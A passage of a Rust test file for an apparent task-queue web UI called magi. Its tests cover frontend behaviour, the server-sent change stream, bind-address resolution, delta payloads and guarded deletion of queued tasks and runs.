13983 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13984 recursive renderQueue() call has nothing left to jump to"
13985 );
13986 assert!(
13987 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13988 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13989 arrives later still gets it"
13990 );
13991 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13992 assert!(APP_JS.contains("is not in the current Backlog."));
13993 assert!(APP_JS.contains("li.card[data-task-id=\""));
13994 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13995 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13996 assert!(APP_CSS.contains(".card-permalink"));
13997 assert!(APP_CSS.contains(".queue-focus-status"));
13998 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13999 }
14000
14001 #[test]
14002 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
14003 assert!(
14011 APP_JS.contains(
14012 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
14013 ),
14014 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
14015 );
14016 }
14017
14018 #[test]
14019 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
14020 assert!(
14021 APP_JS.contains("round.verified_head !== round.head"),
14022 "a round that verified an earlier commit must be visibly distinct from one that \
14023 verified the head reviewers are looking at now"
14024 );
14025 assert!(
14026 APP_JS.contains("round.verified_at"),
14027 "when a check ran must be on the wire, not just which commit"
14028 );
14029 assert!(
14030 APP_JS.contains("resource_blocked"),
14031 "a command magi never got to run (shared build cache contention) must not render \
14032 the same as a command that ran and failed"
14033 );
14034 }
14035
14036 #[test]
14037 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
14038 assert!(
14046 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
14047 "every KPI tile built through statusTile() must route its click through \
14048 openRunsFiltered, the single place that sets the Runs filter"
14049 );
14050 for (label, status) in [
14051 ("Merged", "merged"),
14052 ("Ready", "ready"),
14053 ("Blocked", "blocked"),
14054 ("Stalled", "stalled"),
14055 ] {
14056 let call = format!("statusTile(\"{label}\", t.{status}, ");
14057 assert!(
14058 APP_JS.contains(&call),
14059 "expected the {label} KPI tile built via {call}..."
14060 );
14061 assert!(
14062 APP_JS.contains(&format!("status === \"{status}\"")),
14063 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
14064 compare a run against, not one invented only for the stats tile"
14065 );
14066 }
14067 assert!(
14068 APP_JS.contains("function openRunsFiltered(status)"),
14069 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
14070 );
14071 assert!(
14072 APP_JS.contains(
14073 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
14074 ),
14075 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
14076 );
14077 assert!(
14085 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
14086 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
14087 hashchange event that may never fire"
14088 );
14089 }
14090
14091 #[test]
14092 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
14093 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
14099 assert!(
14100 APP_JS.contains(
14101 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
14102 ),
14103 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
14104 guard for an incompatible tree section"
14105 );
14106 }
14107
14108 #[test]
14109 fn every_stats_queue_tile_names_a_real_queue_section() {
14110 assert!(
14116 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
14117 "every queue tile built through sectionTile() must route its click through \
14118 openQueueSectionFocus"
14119 );
14120 for key in ["upnext", "running", "done", "held", "blocked"] {
14121 assert!(
14122 APP_JS.contains(&format!("{{ key: \"{key}\",")),
14123 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
14124 );
14125 }
14126 for line in [
14130 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
14131 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
14132 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
14133 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
14134 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
14135 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
14136 ] {
14137 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
14138 }
14139 }
14140
14141 #[test]
14142 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
14143 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
14150 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
14151 assert!(APP_JS.contains("function revealQueueSection(details)"));
14152 assert!(
14153 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
14154 "renderQueue() must consume both focus channels on every pass"
14155 );
14156 assert!(
14157 APP_JS.contains(
14158 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
14159 ),
14160 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
14161 the recursive renderQueue() call has nothing left to reveal"
14162 );
14163 assert!(
14164 APP_JS.contains(
14165 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
14166 ),
14167 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
14168 );
14169 assert!(
14177 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
14178 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
14179 hashchange event that may never fire"
14180 );
14181 }
14182
14183 #[tokio::test]
14184 async fn the_change_stream_announces_the_current_revisions_on_connect() {
14185 let f = Fixture::start().await;
14186
14187 let mut socket = tokio::net::TcpStream::connect(f.addr)
14188 .await
14189 .expect("connect");
14190 socket
14191 .write_all(
14192 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
14193 )
14194 .await
14195 .expect("write request");
14196
14197 let mut seen = String::new();
14200 let mut buf = [0u8; 1024];
14201 while !seen.contains("event: change") {
14202 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
14203 .await
14204 .expect("the stream must speak within five seconds")
14205 .expect("read");
14206 assert!(read > 0, "the server closed the change stream: {seen}");
14207 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
14208 }
14209
14210 assert!(
14211 seen.to_lowercase()
14212 .contains("content-type: text/event-stream"),
14213 "the browser only reconnects automatically for a real SSE stream: {seen}"
14214 );
14215 let data = seen
14216 .lines()
14217 .find_map(|l| l.strip_prefix("data:"))
14218 .expect("a data line");
14219 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
14220 assert!(
14221 payload["queue_rev"].is_u64()
14222 && payload["runs_rev"].is_u64()
14223 && payload["questions_rev"].is_u64()
14224 && payload["talks_rev"].is_u64()
14225 && payload["notifications_rev"].is_u64()
14226 && payload["loop_rev"].is_u64(),
14227 "the client needs one revision per store to know what to refetch, \
14228 and `talks_rev` is the only notification a standing talk gets - a \
14229 phone whose radio slept through a turn learns about it here, as \
14230 does one whose operator started the loop from another device: \
14231 {payload}"
14232 );
14233
14234 let health = f.get("/api/health").await.json();
14241 for key in [
14242 "queue_rev",
14243 "runs_rev",
14244 "questions_rev",
14245 "talks_rev",
14246 "notifications_rev",
14247 "loop_rev",
14248 ] {
14249 assert!(
14250 health[key].is_u64(),
14251 "health is the change stream's fallback and is missing `{key}`: {health}"
14252 );
14253 }
14254 }
14255
14256 #[tokio::test]
14257 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
14258 let f = Fixture::start().await;
14259 let before = f.get("/api/health").await.json()["talks_rev"]
14260 .as_u64()
14261 .expect("talks_rev");
14262
14263 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
14264 std::thread::sleep(Duration::from_millis(10));
14265 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
14266 on_disk.turns.push(crate::talk::Turn {
14267 breaks: Some(Vec::new()),
14268 posted_by: None,
14269 who: crate::talk::Who::Operator,
14270 body: "a new turn".to_owned(),
14271 at: Timestamp::now(),
14272 attachments: Vec::new(),
14273 usage: None,
14274 });
14275 f.talks().put(&mut on_disk).expect("record a turn");
14276
14277 let after = f.get("/api/health").await.json()["talks_rev"]
14278 .as_u64()
14279 .expect("talks_rev");
14280 assert_ne!(
14281 before, after,
14282 "a phone must be able to notice a talk's reply without polling every store"
14283 );
14284 }
14285
14286 #[test]
14287 fn bind_reads_back_from_the_spelling_the_cli_prints() {
14288 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
14292 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
14293 }
14294 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
14295 assert!("everywhere".parse::<Bind>().is_err());
14296 }
14297
14298 #[test]
14299 fn an_explicit_bind_address_is_taken_verbatim() {
14300 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
14301
14302 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
14303
14304 assert_eq!(addr, asked);
14305 assert!(
14306 warning.is_none(),
14307 "an operator who named an address gets no lecture"
14308 );
14309 }
14310
14311 #[test]
14312 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
14313 let (addr, warning) = resolve_bind(&Bind::Auto);
14314
14315 match addr {
14322 IpAddr::V4(ip) if is_tailnet(&ip) => {
14323 assert!(warning.is_none(), "a tailnet address needs no warning");
14324 }
14325 other => {
14326 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
14327 let warning = warning.expect("a fallback has to explain itself");
14328 assert!(
14329 warning.contains("127.0.0.1") && warning.contains("local-only"),
14330 "the warning says what happened and what it costs: {warning}"
14331 );
14332 }
14333 }
14334 }
14335
14336 #[test]
14337 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
14338 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
14342 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
14343 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
14344 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
14345 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
14346 }
14347
14348 #[test]
14349 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
14350 let ids = vec![
14351 "20260902-140501-aaaa".to_owned(),
14352 "20260902-140502-aabb".to_owned(),
14353 ];
14354
14355 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
14356 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
14357 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
14358
14359 assert_eq!(missing.status, StatusCode::NOT_FOUND);
14360 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
14361 assert_eq!(short, "20260902-140502-aabb");
14362 }
14363 #[tokio::test]
14364 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
14365 let fx = Fixture::start().await;
14371 let id = panel(
14372 &fx,
14373 "<img src=\"shot.png\">",
14374 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
14375 );
14376
14377 let doc = fx
14379 .get(&format!("/api/questions/{id}/panel/index.html"))
14380 .await;
14381 assert_eq!(doc.status, 200, "{}", doc.body);
14382 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
14383
14384 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
14385 assert_eq!(sibling.status, 200, "{}", sibling.body);
14386 assert_eq!(sibling.header("content-type"), Some("image/png"));
14387 assert_eq!(
14388 sibling.header("content-security-policy"),
14389 Some(PANEL_CSP),
14390 "the sibling route must carry the same policy as the asset route"
14391 );
14392
14393 assert_eq!(
14396 fx.head(&format!("/api/questions/{id}/panel")).await.status,
14397 200
14398 );
14399 }
14400
14401 #[test]
14402 fn delta_stamps_cover_add_update_remove_and_noop() {
14403 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
14404 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
14405 let delta = diff_stamps(&before, &after, 42);
14406 assert_eq!(delta.base, 42);
14407 assert_eq!(delta.changed, ["b", "c"]);
14408 assert_eq!(delta.removed, ["a"]);
14409 let same = diff_stamps(&after, &after, 43);
14410 assert!(same.changed.is_empty() && same.removed.is_empty());
14411 assert_ne!(stamps_revision(&before), stamps_revision(&after));
14412 let nanos: Stamps = [("b".into(), (2, 20))].into();
14413 let same_ms: Stamps = [("b".into(), (3, 20))].into();
14414 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
14415 assert_eq!(stamps_revision(&Stamps::new()), 0);
14416 }
14417
14418 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
14419 std::fs::create_dir_all(home.join("runs")).unwrap();
14420 Arc::new(Ui::new(
14421 Queue::at(home.join("queue")),
14422 Questions::at(home.join("questions")),
14423 Talks::at(home.join("talks")),
14424 home.join("runs"),
14425 home.to_owned(),
14426 PathBuf::from("/repo/magi"),
14427 ))
14428 }
14429
14430 #[tokio::test]
14431 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
14432 let home = TempDir::new().unwrap();
14433 let ui = delta_test_ui(home.path());
14434 let mut task = Task::new(
14435 "stream task".into(),
14436 "text".into(),
14437 PathBuf::from("/repo"),
14438 Source::Human,
14439 );
14440 ui.queue.put(&mut task).unwrap();
14441 let response = events(State(ui.clone())).await.into_response();
14442 let mut stream = response.into_body().into_data_stream();
14443 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
14444 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
14445 .await
14446 .unwrap()
14447 .unwrap()
14448 .unwrap();
14449 let text = String::from_utf8(chunk.to_vec()).unwrap();
14450 let data = text
14451 .lines()
14452 .find_map(|line| {
14453 line.strip_prefix("data: ")
14454 .or_else(|| line.strip_prefix("data:"))
14455 })
14456 .unwrap();
14457 serde_json::from_str(data).unwrap()
14458 }
14459 let initial = change(&mut stream).await;
14460 assert!(initial.get("queue_delta").is_none());
14461 task.instruction.push_str(" changed");
14462 ui.queue.put(&mut task).unwrap();
14463 let updated = change(&mut stream).await;
14464 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14465 assert_eq!(
14466 updated["queue_delta"]["changed"],
14467 serde_json::json!([task.id])
14468 );
14469 assert_eq!(
14470 updated["queue_rev"].as_u64(),
14471 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14472 );
14473 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14474 let removed = change(&mut stream).await;
14475 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14476 assert_eq!(
14477 removed["queue_delta"]["removed"],
14478 serde_json::json!([task.id])
14479 );
14480 }
14481
14482 #[tokio::test]
14483 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14484 let home = TempDir::new().unwrap();
14485 let ui = delta_test_ui(home.path());
14486 let queue = ui.queue.clone();
14487 let query = |ids: Option<&str>| {
14488 Query(ListQuery {
14489 limit: Some(2),
14490 ids: ids.map(str::to_owned),
14491 })
14492 };
14493 let mut root = Task::new(
14494 "root".into(),
14495 "instruction".into(),
14496 PathBuf::from("/repo"),
14497 Source::Human,
14498 );
14499 queue.put(&mut root).unwrap();
14500 let mut blocked = Task::new(
14501 "blocked".into(),
14502 "instruction".into(),
14503 PathBuf::from("/repo"),
14504 Source::Human,
14505 );
14506 blocked.block(vec![root.id.clone()], None);
14507 queue.put(&mut blocked).unwrap();
14508 let whole =
14509 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14510 .unwrap();
14511 let subset = serde_json::to_value(
14512 queue_list(State(ui.clone()), query(Some(&root.id)))
14513 .await
14514 .unwrap()
14515 .0,
14516 )
14517 .unwrap();
14518 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14519 let blockers = serde_json::to_value(
14520 queue_list(State(ui.clone()), query(Some("")))
14521 .await
14522 .unwrap()
14523 .0,
14524 )
14525 .unwrap();
14526 assert_eq!(blockers.as_array().unwrap().len(), 1);
14527 assert_eq!(blockers[0]["id"], blocked.id);
14528 assert_eq!(
14529 blockers[0]["waits_on"],
14530 whole
14531 .as_array()
14532 .unwrap()
14533 .iter()
14534 .find(|row| row["id"] == blocked.id)
14535 .unwrap()["waits_on"]
14536 );
14537
14538 for id in [
14539 "20260902-140501-aaaa",
14540 "20260902-140502-bbbb",
14541 "20260902-140503-cccc",
14542 ] {
14543 write_run(&ui.runs, id, RunStatus::Merged);
14544 }
14545 let old = serde_json::to_value(
14546 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14547 .await
14548 .unwrap()
14549 .0,
14550 )
14551 .unwrap();
14552 assert!(
14553 old.as_array().unwrap().is_empty(),
14554 "older updates must not enter the window"
14555 );
14556 let newest = serde_json::to_value(
14557 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14558 .await
14559 .unwrap()
14560 .0,
14561 )
14562 .unwrap();
14563 assert_eq!(newest.as_array().unwrap().len(), 1);
14564 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14565
14566 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14567 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14568 let talks = serde_json::to_value(
14569 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14570 .await
14571 .unwrap()
14572 .0,
14573 )
14574 .unwrap();
14575 assert_eq!(talks.as_array().unwrap().len(), 1);
14576 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14577 assert_eq!(
14578 serde_json::to_value(
14579 talks_list(State(ui.clone()), query(Some("")))
14580 .await
14581 .unwrap()
14582 .0
14583 )
14584 .unwrap(),
14585 serde_json::json!([])
14586 );
14587 }
14588
14589 #[tokio::test]
14590 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14591 async fn delta_payload_benchmark() {
14592 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14593 let ui = delta_test_ui(&home);
14594 let query = |ids: Option<String>| {
14595 Query(ListQuery {
14596 limit: Some(50),
14597 ids,
14598 })
14599 };
14600 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14601 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14602 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14603 let queue_id = queue
14604 .iter()
14605 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14606 .unwrap_or(&queue[0])
14607 .task
14608 .id
14609 .clone();
14610 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14611 .await
14612 .unwrap()
14613 .0;
14614 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14615 .await
14616 .unwrap()
14617 .0;
14618 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14619 .await
14620 .unwrap()
14621 .0;
14622 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14623 eprintln!(
14624 "DELTA_PAYLOAD {}",
14625 serde_json::json!({
14626 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14627 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14628 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14629 "counts": [queue.len(), runs.len(), talks.len()],
14630 "blocked": queue_delta.len() - 1,
14631 })
14632 );
14633 }
14634
14635 #[test]
14636 fn runs_revision_moves_when_deleting_an_older_run() {
14637 let temp = TempDir::new().expect("tempdir");
14638 let runs = temp.path().join("runs");
14639 std::fs::create_dir_all(&runs).expect("create runs dir");
14640
14641 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14642
14643 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14644 std::thread::sleep(Duration::from_millis(10));
14645 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14646
14647 let rev_before = runs_revision(&runs);
14648 assert!(rev_before > 0);
14649
14650 let old_dir = runs.join("20260901-100000-old1");
14651 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14652
14653 let rev_after = runs_revision(&runs);
14654 assert_ne!(
14655 rev_before, rev_after,
14656 "deleting an older run must change the revision so other clients see the deletion"
14657 );
14658 }
14659
14660 fn write_state(runs: &FsPath, state: &RunState) {
14665 let dir = runs.join(&state.id);
14666 std::fs::create_dir_all(&dir).expect("run dir");
14667 std::fs::write(
14668 dir.join("run.json"),
14669 serde_json::to_string_pretty(state).expect("serialize run"),
14670 )
14671 .expect("write run.json");
14672 }
14673
14674 #[test]
14679 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14680 let temp = TempDir::new().expect("tempdir");
14681 let runs = temp.path().join("runs");
14682 std::fs::create_dir_all(&runs).expect("create runs dir");
14683 let mut state = RunState::new(
14684 PathBuf::from("/repo/magi"),
14685 "main".to_owned(),
14686 "0123456789abcdef".to_owned(),
14687 "task".to_owned(),
14688 Config::default(),
14689 );
14690 state.id = "20260902-100000-c0de".to_owned();
14691 write_state(&runs, &state);
14692
14693 let rev_idle = runs_revision(&runs);
14694 std::thread::sleep(Duration::from_millis(10));
14695 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14696 write_state(&runs, &state);
14697 let rev_started = runs_revision(&runs);
14698 assert_ne!(
14699 rev_idle, rev_started,
14700 "a seat starting must move the revision"
14701 );
14702
14703 std::thread::sleep(Duration::from_millis(10));
14704 state.seat_finished("judge-1");
14705 write_state(&runs, &state);
14706 let rev_finished = runs_revision(&runs);
14707 assert_ne!(
14708 rev_started, rev_finished,
14709 "and clearing it again must move the revision a second time"
14710 );
14711 }
14712
14713 #[tokio::test]
14714 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14715 let fx = Fixture::start().await;
14720 let q = fx.queue();
14721
14722 let mut t = Task::new(
14723 "Task".to_owned(),
14724 "Instruction".to_owned(),
14725 PathBuf::from("/repo"),
14726 Source::Human,
14727 );
14728 t.block(
14729 vec!["20260101-000000-dead".to_owned()],
14730 Some("waiting on Task 1".to_owned()),
14731 );
14732 t.answers.push(crate::queue::AnsweredQuestion {
14733 question: "Which backend?".to_owned(),
14734 answer: "SQLite".to_owned(),
14735 });
14736 q.put(&mut t).expect("put t");
14737
14738 let res = fx.get("/api/queue").await;
14739 assert_eq!(res.status, 200);
14740 let list = res.json();
14741 let view = list
14742 .as_array()
14743 .expect("array")
14744 .iter()
14745 .find(|v| v["id"] == t.id)
14746 .expect("task in list");
14747 assert_eq!(view["status_str"], "blocked");
14748 assert_eq!(
14749 view["blocked_by"],
14750 serde_json::json!(["20260101-000000-dead"])
14751 );
14752 assert_eq!(view["block_reason"], "waiting on Task 1");
14753 assert_eq!(view["answers"][0]["question"], "Which backend?");
14754 assert_eq!(view["answers"][0]["answer"], "SQLite");
14755
14756 let res = fx
14760 .post(&format!("/api/queue/{}/hold", t.short()), None)
14761 .await;
14762 assert_eq!(res.status, 200);
14763 let held = res.json();
14764 assert_eq!(held["status_str"], "held");
14765 assert_eq!(held["blocked_by"], serde_json::json!([]));
14766 assert!(held["block_reason"].is_null());
14767 assert_eq!(held["answers"][0]["answer"], "SQLite");
14768 }
14769
14770 #[tokio::test]
14771 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14772 let fx = Fixture::start().await;
14773 let q = fx.queue();
14774 let mk = |title: &str| {
14775 Task::new(
14776 title.to_owned(),
14777 "Instruction".to_owned(),
14778 PathBuf::from("/repo"),
14779 Source::Human,
14780 )
14781 };
14782 let mut root = mk("root");
14783 root.hold_manual(Some("waiting".to_owned()));
14784 q.put(&mut root).unwrap();
14785 let mut mid = mk("mid");
14786 mid.block(vec![root.id.clone()], None);
14787 q.put(&mut mid).unwrap();
14788 let mut leaf = mk("leaf");
14789 leaf.block(vec![mid.id.clone()], None);
14790 q.put(&mut leaf).unwrap();
14791
14792 let list = fx.get("/api/queue").await.json();
14793 let find = |id: &str| {
14794 list.as_array()
14795 .unwrap()
14796 .iter()
14797 .find(|v| v["id"] == id)
14798 .unwrap()
14799 .clone()
14800 };
14801 let leaf_view = find(&leaf.id);
14802 assert_eq!(
14803 leaf_view["waits_on"],
14804 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14805 );
14806 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14807 assert_eq!(
14808 find(&mid.id)["waits_on"],
14809 serde_json::json!([format!("{} (held)", root.short())])
14810 );
14811 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14812 }
14813
14814 #[tokio::test]
14815 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14816 let fx = Fixture::start().await;
14817 let q = fx.queue();
14818
14819 let mut t1 = Task::new(
14821 "Task 1".to_owned(),
14822 "Instruction 1".to_owned(),
14823 PathBuf::from("/repo"),
14824 Source::Human,
14825 );
14826 let run_id = "20260901-000000-r111";
14827 t1.runs.push(run_id.to_owned());
14828 write_run(&fx.runs(), run_id, RunStatus::Merged);
14829 q.put(&mut t1).expect("put t1");
14830
14831 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14833 assert_eq!(res.status, 204);
14834 assert!(res.body.is_empty(), "204 No Content has no body");
14835 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14836 assert!(
14837 fx.runs().join(run_id).exists(),
14838 "run directory must not be deleted when its task is deleted"
14839 );
14840
14841 let mut t2 = Task::new(
14843 "Task 2".to_owned(),
14844 "Instruction 2".to_owned(),
14845 PathBuf::from("/repo"),
14846 Source::Human,
14847 );
14848 t2.status = TaskStatus::Running;
14849 q.put(&mut t2).expect("put t2");
14850 let mut beat = crate::daemon::Status::new();
14851 beat.current = vec![crate::daemon::Current {
14852 task: t2.id.clone(),
14853 run: "20260901-000000-r222".to_owned(),
14854 }];
14855 beat.updated_at = jiff::Timestamp::now();
14856 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14857 .expect("publish a heartbeat");
14858 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14859 assert_eq!(res.status, 409);
14860 assert!(
14861 res.json()["error"]
14862 .as_str()
14863 .unwrap()
14864 .contains("live daemon")
14865 );
14866 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14867
14868 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14874 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14875 .expect("leave a stale heartbeat");
14876 let mut t3 = Task::new(
14877 "Task 3".to_owned(),
14878 "Instruction 3".to_owned(),
14879 PathBuf::from("/repo"),
14880 Source::Human,
14881 );
14882 t3.status = TaskStatus::Running;
14883 q.put(&mut t3).expect("put t3");
14884 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14885 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14886 assert_eq!(res.status, 204);
14887 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14888 assert!(
14889 q.claim(&t3.id).is_ok(),
14890 "the stale lock went with it, so the id is claimable again"
14891 );
14892
14893 let res = fx.delete("/api/queue/nonexistent").await;
14895 assert_eq!(res.status, 404);
14896 }
14897
14898 #[tokio::test]
14899 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14900 let fx = Fixture::start().await;
14901 let runs = fx.runs();
14902
14903 let run_id = "20260901-000000-fold";
14905 let mut state = RunState::new(
14906 PathBuf::from("/repo"),
14907 "main".to_owned(),
14908 "abc".to_owned(),
14909 "instruction".to_owned(),
14910 Config::default(),
14911 );
14912 state.id = run_id.to_owned();
14913 state.status = RunStatus::Merged;
14914 state.candidates.push(crate::run::Candidate {
14915 index: 0,
14916 label: 'A',
14917 agent: "a".to_owned(),
14918 branch: "b".to_owned(),
14919 worktree: PathBuf::from("/w"),
14920 summary: String::new(),
14921 stat: String::new(),
14922 files: 1,
14923 commits: 1,
14924 empty: false,
14925 failed: None,
14926 verified_noop: None,
14927 duration_ms: 0,
14928 folded: true,
14929 });
14930 let dir = runs.join(run_id);
14931 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14932 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14933 .expect("write artifact");
14934 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14935 .expect("write run.json");
14936
14937 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14939 assert_eq!(res.status, 204);
14940 assert!(res.body.is_empty(), "204 has no body");
14941 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14942
14943 let run_running = "20260901-000000-rung";
14948 write_run(&runs, run_running, RunStatus::Prep);
14949 let mut beat = crate::daemon::Status::new();
14950 beat.current = vec![crate::daemon::Current {
14951 task: "20260901-000000-task".to_owned(),
14952 run: run_running.to_owned(),
14953 }];
14954 beat.updated_at = jiff::Timestamp::now();
14955 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14956 .expect("publish a heartbeat");
14957 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14958 assert_eq!(res.status, 409);
